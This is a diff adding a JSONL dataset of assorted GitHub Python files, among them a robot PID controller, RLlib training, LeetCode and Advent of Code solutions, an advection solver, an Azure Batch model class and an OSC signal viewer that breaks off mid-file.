diff --git "a/1419.jsonl" "b/1419.jsonl" new file mode 100644--- /dev/null +++ "b/1419.jsonl" @@ -0,0 +1,1713 @@ +{"seq_id":"27692582933","text":"import datetime\r\nfrom math import floor\r\n\r\ntime_last_regulation = datetime.datetime.now()\r\nuse_derivate = True\r\nold_error = 0\r\nintegral = 0\r\nlast_diff = 0\r\nlast_valid_diffs = []\r\nlast_valid_diff = 0\r\n\r\nQUEUE_SIZE = 5\r\n\r\nclass AutoController:\r\n DESIRED_DISTANCE = 120 # Desired distance to wall\r\n STANDARD_SPEED = 40\r\n MAX_REGULATION = 30\r\n\r\n def auto_control(self, ir_right_mm, ir_right_back_mm, reg_side):\r\n global use_derivate, time_last_regulation, old_error, integral, last_diff, last_valid_diff, last_valid_diffs\r\n\r\n Kp = float(0.2)\r\n Ka = float(0.3)\r\n\r\n time_now = datetime.datetime.now()\r\n sensor_data_front = ir_right_mm\r\n sensor_data_back = ir_right_back_mm\r\n dist_diff = (sensor_data_back - sensor_data_front)\r\n\r\n regulation_error = self.DESIRED_DISTANCE - sensor_data_front + abs(dist_diff / 10)\r\n\r\n\r\n if (sensor_data_front == -1 or sensor_data_back == -1 or abs(dist_diff) > 70):\r\n dist_diff = 0\r\n regulation_error = 0\r\n else:\r\n if len(last_valid_diffs) >= QUEUE_SIZE:\r\n last_valid_diffs = last_valid_diffs[1:QUEUE_SIZE] + [dist_diff]\r\n else:\r\n last_valid_diffs = last_valid_diffs + [dist_diff]\r\n\r\n last_valid_diff = last_valid_diffs[0]\r\n\r\n regulation = floor((Kp * regulation_error) + Ka * dist_diff)\r\n\r\n old_error = regulation_error\r\n last_diff = dist_diff\r\n\r\n if (regulation > self.MAX_REGULATION):\r\n regulation = self.MAX_REGULATION\r\n elif (regulation < -self.MAX_REGULATION):\r\n regulation = -self.MAX_REGULATION\r\n\r\n if (regulation > -10):\r\n speed_close_wall = self.get_speed(ir_right_mm, ir_right_back_mm) + regulation\r\n else:\r\n speed_close_wall = 10\r\n\r\n if (regulation < 10):\r\n speed_far_wall = self.get_speed(ir_right_mm, ir_right_back_mm) - regulation\r\n else:\r\n speed_far_wall = 10\r\n\r\n time_last_regulation = time_now\r\n \r\n return int(speed_close_wall), int(speed_far_wall), regulation\r\n\r\n def get_speed(self, ir_right_mm, ir_right_back_mm):\r\n if ir_right_mm == -1 and ir_right_back_mm != -1:\r\n return self.STANDARD_SPEED\r\n else:\r\n return self.STANDARD_SPEED\r\n","repo_name":"SebastianCallh/kartoffel-tsea29","sub_path":"pi/autocontroller.py","file_name":"autocontroller.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"35463718679","text":"import click\n\nfrom jekyllutils.helpers import configs\nfrom jekyllutils import files\nfrom jekyllutils.helpers.colours import with_success_prefix\n\n\n@click.command()\n@click.argument('path')\ndef set_posts_path(path):\n absolute_path = files.resolve_path(path)\n configs.set_posts_path_dir(absolute_path)\n click.echo(with_success_prefix(f\"\"\"Config key \"posts-path\" was set to \"{path}\" \"\"\"))\n\n\n@click.command()\n@click.argument('name')\ndef set_editor(name):\n configs.set_editor_name(name)\n click.echo(with_success_prefix(f\"\"\"Config key \"editor\" was set to \"{name}\" \"\"\"))\n\n\n@click.command()\ndef dump_configs():\n configs.dump_configs()\n\n\n@click.command()\ndef clear_configs():\n configs.clear_configs()\n click.echo(with_success_prefix(\"Configs cleared\"))\n","repo_name":"queirozfcom/jekyll-utils","sub_path":"jekyllutils/configs.py","file_name":"configs.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"72708117283","text":"\"\"\"The SlateQ algorithm for recommendation\"\"\"\n\nimport argparse\n\nimport ray\nfrom ray.rllib.agents import slateq\nfrom ray.rllib.env.wrappers.recsim_wrapper import env_name as recsim_env_name\n\nALL_SLATEQ_STRATEGIES = [\n # RANDOM: Randomly select documents for slates.\n \"RANDOM\",\n # MYOP: Select documents that maximize user click probabilities. This is\n # a myopic strategy and ignores long term rewards. This is equivalent to\n # setting a zero discount rate for future rewards.\n \"MYOP\",\n # SARSA: Use the SlateQ SARSA learning algorithm.\n \"SARSA\",\n # QL: Use the SlateQ Q-learning algorithm.\n \"QL\",\n]\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--env-slate-size\", type=int, default=2)\n parser.add_argument(\"--env-seed\", type=int, default=0)\n parser.add_argument(\"--strategy\", type=str, default=\"SARSA\")\n parser.add_argument(\"--stop\", type=int, default=1)\n\n args = parser.parse_args()\n\n assert args.strategy in ALL_SLATEQ_STRATEGIES, \"Invalid SlateQ Strategy {}\".format(args.strategy)\n\n env_config = {\n \"slate_size\" : args.env_slate_size,\n \"seed\" : args.env_seed,\n \"convert_to_discrete_action_space\": False,\n }\n\n # config = slateq.DEFAULT_CONFIG.copy()\n # config[\"num_gpus\"] = 0\n config = {}\n config[\"num_workers\"] = 5\n config[\"slateq_strategy\"] = args.strategy\n config[\"env_config\"] = env_config\n\n ray.init()\n\n trainer = slateq.SlateQTrainer(config=config, env=recsim_env_name)\n\n result = trainer.train()\n best_checkpoint = trainer.save()\n best_reward = result['episode_reward_mean']\n print(\"Mean Reward {}:{}\".format(1, result['episode_reward_mean']))\n\n for i in range(1, args.stop):\n result = trainer.train()\n print(\"Mean Reward {}:{}\".format(i+1, result['episode_reward_mean']))\n best_reward = max(best_reward, result['episode_reward_mean'])\n if best_reward == result['episode_reward_mean']:\n best_checkpoint = trainer.save()\n\n print(\"BEST Mean Reward :\", best_reward)\n print(\"BEST Checkpoint at:\", best_checkpoint)\n ray.shutdown()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"lairning/drl-trainers","sub_path":"recsym/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40757337334","text":"# -*- coding: utf-8 -*-\n# !/usr/bin/env python\n# @Time: 2020-05-19 6:12 p.m.\n\n\ndef __str__(self):\n lis0 = self.network_portion\n lis1 = [[], [], [], []]\n res = [[], [], [], []]\n for i in range(4):\n for index in range(8):\n if lis0[i] // 2 ** (7 - index) == 0:\n lis1[i].append(0)\n else:\n lis0[i] = lis0[0] - 2 ** (7 - index)\n lis1[i].append(1)\n for i in range(4):\n res = sum([(lis1[i][index]) * 2 ** (7 - index) for index in range(8)])\n print(res)\n # return res","repo_name":"Iso-luo/python-assignment","sub_path":"practice/Lab5/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"17424016465","text":"#在这个脚本里面去控制执行所有用例\n\n\n#cod-ing utf-8\nimport unittest\nimport os\n\n\n\ndef allcase():\n case_path = \"D:\\PycharmProjects\\demo2\\case\" #测试case的路径\n # case_path=os.path.join(os.getcwd(),\"case\")\n testcase = unittest.TestSuite()\n discover = unittest.defaultTestLoader.discover(case_path,pattern='test*.py',top_level_dir=None)#检索所有符合这个命名规则的文件\n\n for test_suite in discover:\n for test_case in test_suite:\n # 添加用例到testcase\n testcase.addTest(test_case)\n return testcase\n\n\nif __name__ == \"__main__\":\n runner = unittest.TextTestRunner()\n runner.run(allcase())\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"TinaSprunt/demo","sub_path":"testCase/run_all_case.py","file_name":"run_all_case.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71005559843","text":"\"\"\"TFC/E Projects API endpoints module.\"\"\"\nfrom pytfc.tfc_api_base import TfcApiBase\n\n\nclass Projects(TfcApiBase):\n \"\"\"\n TFC/E Projects methods.\n \"\"\"\n def create(self, name):\n \"\"\"\n POST /organizations/:organization_name/projects\n \"\"\"\n payload = {}\n data = {}\n data['type'] = 'projects'\n attributes = {}\n attributes['name'] = name\n data['attributes'] = attributes\n payload['data'] = data\n\n path = f'/organizations/{self.org}/projects'\n return self._requestor.post(path=path, payload=payload)\n\n def update(self, project_id):\n \"\"\"\n PATCH /projects/:project_id\n \"\"\"\n print('coming soon')\n\n def list(self, page_number=None, page_size=None, query=None, filters=None):\n \"\"\"\n GET /organizations/:organization_name/projects\n \"\"\"\n path = f'/organizations/{self.org}/projects'\n return self._requestor.get(path=path, page_number=page_number,\n page_size=page_size, query=query,\n filters=filters)\n\n def show(self, project_id):\n \"\"\"\n GET /projects/:project_id\n \"\"\"\n path = f'/projects/{project_id}'\n return self._requestor.get(path=path)\n\n def delete(self, project_id):\n \"\"\"\n DELETE /projects/:project_id\n \"\"\"\n path = f'/projects/{project_id}'\n return self._requestor.delete(path=path)\n\n def get_project_id(self, name):\n \"\"\"\n Helper method to return Project ID\n based on Project name.\n \"\"\"\n project = self.list(query=name).json()\n if project['data'] == []:\n project_id = None\n else:\n project_id = project['data'][0]['id']\n \n return project_id","repo_name":"alexbasista/pytfc","sub_path":"pytfc/api/projects.py","file_name":"projects.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"54"} +{"seq_id":"71858551522","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nresponse = requests.get(\"https://www.moneydj.com/ETF/X/Basic/Basic0007.xdjhtm?etfid=TAN\")\r\nyc_web_page = response.text ####網址可TEXT 便是HTML\r\n\r\n#做湯,creating object\r\nsoup = BeautifulSoup(yc_web_page, \"html.parser\")\r\narticle_tag = soup.find(name=\"div\", class_=\"eTitle\") #找出標題HTML\r\n\r\nprint(article_tag.getText())\r\n\r\n\r\n","repo_name":"kucmoving/Python-Draft-","sub_path":"4. BS web scrapping.py","file_name":"4. BS web scrapping.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6930619675","text":"# Write a python script to print first N prime numbers\ndef is_prime(number):\n if number <= 1:\n return False\n\n # Check for factors from 2 to the square root of the number\n for i in range(2, int(number ** 0.5) + 1):\n if number % i == 0:\n return False\n\n return True\n\n\ndef print_first_n_primes(n):\n primes = []\n num = 2 # Start checking from 2\n\n while len(primes) < n:\n if is_prime(num):\n primes.append(num)\n num += 1\n\n return primes\n\n\n# Test the function\nn = int(input(\"Enter the value of N: \"))\nfirst_n_primes = print_first_n_primes(n)\nprint(\"First\", n, \"prime numbers are:\", first_n_primes)\n","repo_name":"Bantyprajapati/Assignment-12","sub_path":"Ans-6.py","file_name":"Ans-6.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74546346400","text":"import unittest\nfrom binaryTreeRecursive import TreeNode\nfrom binaryTreeRecursive import Solution\n\n\nclass TestBinaryRecursive(unittest.TestCase):\n\n def setUp(self) -> None:\n self.root = TreeNode(5)\n self.root.left = TreeNode(4)\n self.root.right = TreeNode(6)\n self.root.left.left = TreeNode(1)\n self.root.left.right = TreeNode(2)\n self.root.right.left = TreeNode(7)\n self.root.right.right = TreeNode(8)\n\n def test_recursive_preorder(self):\n self.assertEqual(Solution().preorderTraversal(self.root, []), [5,4,1,2,6,7,8]) # add assertion here\n\n def test_recursive_midorder(self):\n self.assertEqual(Solution().midorderTraveral(self.root, []), [1,4,2,5,7,6,8])\n\n def test_recursive_postorder(self):\n self.assertEqual(Solution().postorderTraveral(self.root, []), [1,2,4,7,8,6,5])\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"swordsmanli/algo","sub_path":"data_structure/tree/testBinaryTreeRecursive.py","file_name":"testBinaryTreeRecursive.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2238821143","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# author：ShidongDu time:2020/1/29\n'''\nGiven a string S, we can transform every letter individually to be lowercase or uppercase to create another string. \nReturn a list of all possible strings we could create.\n\nExamples:\nInput: S = \"a1b2\"\nOutput: [\"a1b2\", \"a1B2\", \"A1b2\", \"A1B2\"]\n\nInput: S = \"3z4\"\nOutput: [\"3z4\", \"3Z4\"]\n\nInput: S = \"12345\"\nOutput: [\"12345\"]\n\n'''\nfrom typing import List\n# class Solution:\n# def letterCasePermutation(self, S: str) -> List[str]:\n# number = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']\n# res = []\n# def track_back(tmp_repository: str, tmp_res: str):\n# if len(tmp_repository) == 0:\n# res.append(tmp_res[:])\n# return\n# if tmp_repository[0] not in number:\n# track_back(tmp_repository[1:], tmp_res+tmp_repository[0].lower())\n# track_back(tmp_repository[1:], tmp_res+tmp_repository[0].upper())\n# else:\n# track_back(tmp_repository[1:], tmp_res + tmp_repository[0])\n# track_back(S, '')\n# return res\n\n# class Solution:\n# def letterCasePermutation(self, S: str) -> List[str]:\n# res = [S]\n# tmp_res = []\n# for i, c in enumerate(S):\n# if c.isalpha():\n# for s in res:\n# tmp_res.append(s[:i] + s[i].swapcase()+s[i+1:])\n# res.extend(tmp_res)\n# tmp_res = []\n# return res\n\n# 上一程序的精简版\nclass Solution:\n def letterCasePermutation(self, S: str) -> List[str]:\n res = [S]\n for i, c in enumerate(S):\n if c.isalpha():\n res.extend([s[:i]+s[i].swapcase()+s[i+1:] for s in res])\n return res\n\n\nsolution = Solution()\nres = solution.letterCasePermutation('a1b2')\nprint(res)\n","repo_name":"weiyuyan/LeetCode","sub_path":"Search/784. Letter Case Permutation.py","file_name":"784. Letter Case Permutation.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"24600879853","text":"\"\"\"\nDay 5 solution (unoptimized)\n\"\"\"\nimport string as awesome\n\nf = open(\"input/day5.txt\")\n\nstring = \"\"\nfor line in f:\n string = line.rstrip().strip()\n break\n\ndef get_length_polymer(polymer):\n restart = False\n while True:\n for index, value in enumerate(polymer):\n if index == len(polymer) - 1:\n restart = False\n break\n if abs(ord(value) - ord(polymer[index + 1])) == 32:\n #polymer = polymer[:index] + polymer[index+2:]\n del polymer[index]\n del polymer[index]\n restart = True\n break\n if not restart:\n break\n return len(polymer)\n\nprint(\"it's length is\")\nprint(get_length_polymer(list(string)))\n\n#exit(0)\n# Create alphabet list\nalpha_lower = list(awesome.ascii_lowercase)\nalpha_upper = list(awesome.ascii_uppercase)\n\nfinal_length = []\n\nfor i in range(26):\n print(\" calculating for {}\".format(alpha_lower[i]))\n temp = string.replace(alpha_lower[i], \"\").replace(alpha_upper[i], \"\")\n c = get_length_polymer(list(temp))\n final_length.append(c)\n\nfor e in range(26):\n print(\"{} is {}\".format(alpha_lower[e], final_length[e]))\n","repo_name":"iamdiogo/advent-of-code-2018","sub_path":"day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"74573594402","text":"from sys import stdin\ndef countsetbits(n):\n count = 0\n while n:\n count += n&1\n n >>= 1\n if count == 2:\n return True\n return False\nt= int(stdin.readline())\nfor i in range(t):\n n = int(stdin.readline())\n l = 0\n for i in range(1,n+1):\n if countsetbits(i):\n l+=i\n print(l%1000000007)\n","repo_name":"agaraman0/Hackerearth","sub_path":"Basic Programming/Lucky_NUM2.py","file_name":"Lucky_NUM2.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72108102240","text":"#!/usr/bin/env python3\n\nfrom functools import partial\nfrom typing import AnyStr\nfrom contextlib import contextmanager\nimport time\n\nimport numpy as np\nimport scipy.fftpack as fft\nfrom netCDF4 import Dataset\nimport matplotlib.pyplot as plt\n\nfrom ode import OdeSolver\n\ndt = 0.02\n\n\n@contextmanager\ndef Timer(tag=''):\n start = time.time()\n try:\n yield\n finally:\n tot = time.time() - start\n print(f'{tag:s} {tot:.02f}')\n\nclass Grid:\n nx = 360\n xmin = 0.0\n xmax = 360.0\n xi = np.linspace(xmin, xmax, nx+1)\n x = (xi[1:] + xi[:-1])/2\n dx = (xmax - xmin)/nx\n\n def __init__(self, scheme:AnyStr):\n self.scheme = getattr(self, '_scheme_'+scheme)\n\n def tend(self, s, u):\n return self.scheme(s, u)\n\n @classmethod\n def _scheme_fd(cls, s, u):\n f = s*u # flux\n weights = (\n (2, -1/12),\n (1, 2/3),\n (-1, -2/3),\n (-2, 1/12)\n )\n return sum(w*np.roll(f, shit) for shit, w in weights)/cls.dx\n\n @classmethod\n def _scheme_spec(cls, s, u):\n f = s*u # flux\n fspec = fft.fft(f)\n freq = fft.fftfreq(len(f), d=cls.dx)\n dfdxspec = -fspec*complex(0, 2*np.pi)*freq\n return np.real(fft.ifft(dfdxspec))\n\n @classmethod\n def _scheme_fv(cls, s, u):\n f = s*u # flux\n fs1 = np.roll(f, 1)\n fsn1 = np.roll(f, -1)\n c = u*dt/cls.dx\n r = (f - fs1)/(fsn1 - f + 1.0e-6)\n phi = np.maximum(0.0, np.minimum(2*r, 1.0))\n phi = np.maximum(np.minimum(r, 2.0), phi)\n\n fmid = f + phi*((1-c)/2)*(fsn1 - f)\n return -np.diff(fmid, prepend=fmid[-1])/cls.dx\n # plt.plot(phi, label='Zhang')\n # plt.plot(np.reshape(np.loadtxt('data.txt'), (-1, )), label='Wu')\n # plt.legend()\n # plt.show()\n # import sys; sys.exit()\n\ndef read_init():\n with Dataset('ic_homework3.nc', 'r') as dset:\n ic = dset.variables['N'][:]\n ic = np.array(ic)\n ic.setflags(write=False)\n return ic\n\n\nclass Model(OdeSolver):\n ic = read_init()\n def __init__(self, scheme):\n tend = partial(Grid(scheme).tend, u=10.0)\n odescheme = 'euler' if scheme == 'fv' else 'rk4'\n super().__init__(tend, dt=dt, scheme=odescheme)\n\n def iter_states(self):\n return super().iter_states(self.ic)\n\ndef main():\n nstep = int(1.8e4)\n\n plt.plot(Model.ic, label='exact', linestyle='-', linewidth=4.0)\n\n for scheme in ('fd', 'spec', 'fv'):\n model = Model(scheme)\n\n with Timer(scheme):\n for i, state in zip(range(nstep), model.iter_states()):\n if i %100 == 0:\n print(scheme, f'nstep {i:04d}')\n plt.plot(state, label=scheme, marker='', linestyle='-', markersize=0.2)\n\n plt.legend()\n plt.xlabel(r'Lontitude ($^\\circ$)')\n plt.ylabel('N')\n plt.title(f'NSTEP = {nstep}')\n plt.savefig(f'{nstep:d}steps.eps')\n\nif __name__ == '__main__':\n main()\n","repo_name":"Yixiao-Zhang/simply-shallow-water","sub_path":"advect.py","file_name":"advect.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"72311782880","text":"from msrest.serialization import Model\n\n\nclass ComputeNode(Model):\n \"\"\"\n A compute node in the Batch service.\n\n :param id: Gets or sets the id of the compute node.\n :type id: str\n :param url: Gets or sets the URL of the compute node.\n :type url: str\n :param state: Gets or sets the current state of the compute node.\n Possible values include: 'idle', 'rebooting', 'reimaging', 'running',\n 'unusable', 'creating', 'starting', 'waitingforstarttask',\n 'starttaskfailed', 'unknown', 'leavingpool', 'offline'\n :type state: str\n :param scheduling_state: Gets or sets whether the compute node should be\n available for task scheduling. Possible values include: 'enabled',\n 'disabled'\n :type scheduling_state: str\n :param state_transition_time: Gets or sets the time at which the compute\n node entered its current state.\n :type state_transition_time: datetime\n :param last_boot_time: Gets or sets the time at which the compute node\n was started.\n :type last_boot_time: datetime\n :param allocation_time: Gets or sets the time at which this compute node\n was allocated to the pool.\n :type allocation_time: datetime\n :param ip_address: Gets or sets the IP address that other compute nodes\n can use to communicate with this compute node.\n :type ip_address: str\n :param affinity_id: Gets or sets an identifier which can be passed in the\n Add Task API to request that the task be scheduled close to this compute\n node.\n :type affinity_id: str\n :param vm_size: Gets or sets the size of the virtual machine hosting the\n compute node.\n :type vm_size: str\n :param total_tasks_run: Gets or sets the total number of job tasks\n completed on the compute node. This includes Job Preparation, Job\n Release and Job Manager tasks, but not the pool start task.\n :type total_tasks_run: int\n :param recent_tasks: Gets or sets the list of tasks that are currently\n running on the compute node.\n :type recent_tasks: list of :class:`TaskInformation\n `\n :param start_task: Gets or sets the task specified to run on the compute\n node as it joins the pool.\n :type start_task: :class:`StartTask `\n :param start_task_info: Gets or sets runtime information about the\n execution of the start task on the compute node.\n :type start_task_info: :class:`StartTaskInformation\n `\n :param certificate_references: Gets or sets the list of certificates\n installed on the compute node.\n :type certificate_references: list of :class:`CertificateReference\n `\n :param errors: Gets or sets the list of errors that are currently being\n encountered by the compute node.\n :type errors: list of :class:`ComputeNodeError\n `\n \"\"\" \n\n _attribute_map = {\n 'id': {'key': 'id', 'type': 'str'},\n 'url': {'key': 'url', 'type': 'str'},\n 'state': {'key': 'state', 'type': 'ComputeNodeState'},\n 'scheduling_state': {'key': 'schedulingState', 'type': 'SchedulingState'},\n 'state_transition_time': {'key': 'stateTransitionTime', 'type': 'iso-8601'},\n 'last_boot_time': {'key': 'lastBootTime', 'type': 'iso-8601'},\n 'allocation_time': {'key': 'allocationTime', 'type': 'iso-8601'},\n 'ip_address': {'key': 'ipAddress', 'type': 'str'},\n 'affinity_id': {'key': 'affinityId', 'type': 'str'},\n 'vm_size': {'key': 'vmSize', 'type': 'str'},\n 'total_tasks_run': {'key': 'totalTasksRun', 'type': 'int'},\n 'recent_tasks': {'key': 'recentTasks', 'type': '[TaskInformation]'},\n 'start_task': {'key': 'startTask', 'type': 'StartTask'},\n 'start_task_info': {'key': 'startTaskInfo', 'type': 'StartTaskInformation'},\n 'certificate_references': {'key': 'certificateReferences', 'type': '[CertificateReference]'},\n 'errors': {'key': 'errors', 'type': '[ComputeNodeError]'},\n }\n\n def __init__(self, id=None, url=None, state=None, scheduling_state=None, state_transition_time=None, last_boot_time=None, allocation_time=None, ip_address=None, affinity_id=None, vm_size=None, total_tasks_run=None, recent_tasks=None, start_task=None, start_task_info=None, certificate_references=None, errors=None):\n self.id = id\n self.url = url\n self.state = state\n self.scheduling_state = scheduling_state\n self.state_transition_time = state_transition_time\n self.last_boot_time = last_boot_time\n self.allocation_time = allocation_time\n self.ip_address = ip_address\n self.affinity_id = affinity_id\n self.vm_size = vm_size\n self.total_tasks_run = total_tasks_run\n self.recent_tasks = recent_tasks\n self.start_task = start_task\n self.start_task_info = start_task_info\n self.certificate_references = certificate_references\n self.errors = errors\n","repo_name":"trb116/pythonanalyzer","sub_path":"data/input/Azure/azure-sdk-for-python/azure-batch/azure/batch/models/compute_node.py","file_name":"compute_node.py","file_ext":"py","file_size_in_byte":5047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"26410060873","text":"from scene import *\nfrom random import randint\nfrom threading import Thread, Lock\nfrom collections import deque\n\nfrom pythonosc import dispatcher, osc_server\n\n\nimport ui\nimport time, socket\nimport random, math, itertools\n\nPACKET_SAMPLE_SIZE = 200\nDEVICE_IDS = ('e4f7','cec8','6b37','3fa5')\n\nclass Series(ShapeNode):\n\tdef __init__(self, name, bsize, line_color, color, *args, **kwargs):\n\t\tself.bsize = bsize\n\t\tborder = ui.Path.rect(0,0, self.bsize.w, self.bsize.h)\n\t\tShapeNode.__init__(self, border, *args, **kwargs)\n\n\t\tself.lines = deque()\n\t\tself.buffer = [0]\n\t\tself.line_color = line_color\n\t\tself.color = color\n\t\tself.bufferLength = 201\n\n\t\t# label channel\n\t\tself.label = LabelNode(name, position=(self.bsize.w - 2 , self.bsize.h), \n\t\t\tfont = ('Helvetica', 12), color = 'black', parent = self, anchor_point = (1,1))\n\t\t\n\t\t# grid \n\t\tself.grids = [\n\t\tShapeNode(ui.Path.rect(0, 0, self.bsize.w, self.bsize.h/2), \t\t\n\t\t\t\tstroke_color = 'black', fill_color='clear',\n\t\t\t\tparent = self, anchor_point = (0,0)),\n\t\tShapeNode(ui.Path.rect(0, 0, self.bsize.w, \tself.bsize.h/2), \n\t\t\tstroke_color = 'black', fill_color='clear',\n\t\t\tposition=(0, self.bsize.h/2),\n\t\t\t\tparent = self, anchor_point = (0,0))\n\t\t\t\t]\n\t\n\tdef trim(self, y):\n\t\tif y <= -self.bsize.h / 2 + 2:\n\t\t\treturn -self.bsize.h / 2 + 2\n\t\tif y >= self.bsize.h / 2 :\n\t\t\treturn self.bsize.h / 2\n\t\treturn y\n\t\t\n\tdef update(self):\t\t\t\n\t\twhile len(self.buffer) > self.bufferLength:\n\t\t\tdata = self.buffer[:self.bufferLength]\n\t\t\tdel self.buffer[:self.bufferLength - 1]\n\t\t\t\n\t\t\tif len(self.lines) == 0:\n\t\t\t\tlast_line_x_end = self.bsize.w + self.bufferLength * self.scene.timeScale\n\t\t\telse:\n\t\t\t\tlast_line_x_end = self.lines[-1].position.x + self.bufferLength * self.scene.timeScale\t\n\t\t\t\t# drop the oldest line & update valScale\n\t\t\t\tif self.lines[0].position.x < 0:\n\t\t\t\t\tfirst_line = self.lines.popleft()\n\t\t\t\t\tfirst_line.remove_from_parent()\n\t\t\t\n\n\t\t\t### append a new line\n\t\t\tpath = ui.Path()\n\t\t\t\n\t\t\t# draw upper bound\n\t\t\tpath.move_to(0, -self.bsize.h / 2 - 4)\n\t\t\tpath.line_to(self.bufferLength * self.scene.timeScale, -self.bsize.h / 2 - 4)\n\t\t\t\n\t\t\t# draw waveform\n\t\t\tif data[0]:\n\t\t\t\ty0 = self.trim(data[0] * self.scene.valueScale * self.bsize.h)\n\t\t\t\tpath.move_to(0, y0)\t\t\t\n\t\t\t\tisLastNone = False\t\n\t\t\telse:\n\t\t\t\tisLastNone = True\n\n\t\t\tfor x,y in enumerate(data):\n\t\t\t\tif y:\n\t\t\t\t\ty = self.trim(y * self.scene.valueScale * self.bsize.h)\n\t\t\t\t\tif isLastNone:\n\t\t\t\t\t\tpath.move_to(x * self.scene.timeScale, y)\t\t\n\t\t\t\t\telse:\n\t\t\t\t\t\tpath.line_to(x * self.scene.timeScale, y)\n\t\t\t\t\tisLastNone = False\n\t\t\t\telse:\n\t\t\t\t\tisLastNone = True\n\n\t\t\tpath.line_width = 1\n\t\t\tnew_line = ShapeNode(path, \n\t\t\t\tparent=self,\n\t\t\t\tstroke_color= self.line_color,\n\t\t\t\tfill_color='clear', \n\t\t\t\tposition=(last_line_x_end - 1 * self.scene.timeScale, self.bsize.h + 6),\n\t\t\t\tanchor_point=(1,1)\n\t\t\t)\n\t\t\t\t\n\t\t\tself.lines.append(new_line)\n\t\t\t\n\t\tif len(self.lines) > 0:\n\t\t\treturn(self.bsize.w - self.lines[-1].position.x) \n\t\telse:\n\t\t\treturn(0)\n\t\t\t\nclass Viewer(Scene):\n\tdef __init__(self, device_ids, nChannel, server, lock, *args, **kwargs):\n\t\tScene.__init__(self, *args, **kwargs)\n\t\tself.server = server\n\t\tself.device_ids = device_ids\n\t\tself.nChannel = nChannel\n\t\tself.lock = lock\n\n\t\tself.sampleCounters = dict(zip(device_ids, [0]*len(device_ids)))\n\t\tself.prevSampleIndex = dict(zip(device_ids, [0]*len(device_ids)))\n\t\tself.devices = dict(zip(device_ids, [None]*len(device_ids)))\n\t\tself.masks = dict(zip(device_ids, [None]*len(device_ids)))\n\t\tself.deviceLabels = dict(zip(device_ids, [None]*len(device_ids)))\n\t\tself.deviceStatusLabels = dict(zip(device_ids, [None]*len(device_ids)))\n\n\t\tself.prevTouch = None\n\t\tself.isRunning = True\n\t\tself.prevSampleSecond = self.t\n\t\tself.timeScale = .5\n\t\tself.valueScale = -300\n\t\tself.runningSamples = dict(zip(device_ids, [deque([],10) for i in device_ids])) \n\t\t\n\tdef touch_began(self, touch):\n\t\tself.isRunning = False\n\t\n\tdef touch_ended(self, touch):\n\t\tself.isRunning = True\n\t\n\tdef did_change_size(self):\n\t\tscreen_size = get_screen_size()\n\t\t\n\t\tfor i, id in enumerate(self.devices):\n\t\t\tif screen_size.w > screen_size.h:\n\t\t\t\tmask_size = Size(screen_size.w / len(self.devices) + 1, screen_size.h)\n\t\t\t\tmask_position = Point(i * screen_size.w / len(self.devices), 0)\n\t\t\t\tself.deviceLabels[id].position = (mask_position.x + 4, mask_size.h - 1)\n\t\t\t\tself.deviceStatusLabels[id].position = (mask_position.x + 2, 2)\n\t\t\telse:\n\t\t\t\tmask_size = Size(screen_size.w , screen_size.h / len(self.devices) + 1)\n\t\t\t\tmask_position = Point(0, i * screen_size.h / len(self.devices))\n\t\t\t\tself.deviceLabels[id].position = (mask_position.x + 4, (i+1)*mask_size.h - 1)\t\t\t\t\t\n\t\t\t\tself.deviceStatusLabels[id].position =(mask_position.x + 2, i*mask_size.h + 2)\n\t\t\t\n\t\t\t# update mask\n\t\t\tself.masks[id].size = mask_size\n\t\t\tself.masks[id].crop_rect = Rect(mask_position.x, mask_position.y,\t\n\t\t\t\tmask_size.w+1, mask_size.h)\n\t\t\t\n\t\t\t# update series\n\t\t\tfor j, series in enumerate(self.devices[id]) :\n\t\t\t\tif screen_size.w > screen_size.h:\n\t\t\t\t\tseries_size = Size(screen_size.w / len(self.devices) - 1, \n\t\t\t\t\t\tscreen_size.h / self.nChannel - 1)\n\t\t\t\t\tseries_pos = Point(i * screen_size.w / len(self.devices), \n\t\t\t\t\t\tj * screen_size.h / self.nChannel)\n\t\t\t\telse:\n\t\t\t\t\tseries_size = Size(screen_size.w , \n\t\t\t\t\t\tscreen_size.h / ( self.nChannel * len(self.devices)) - 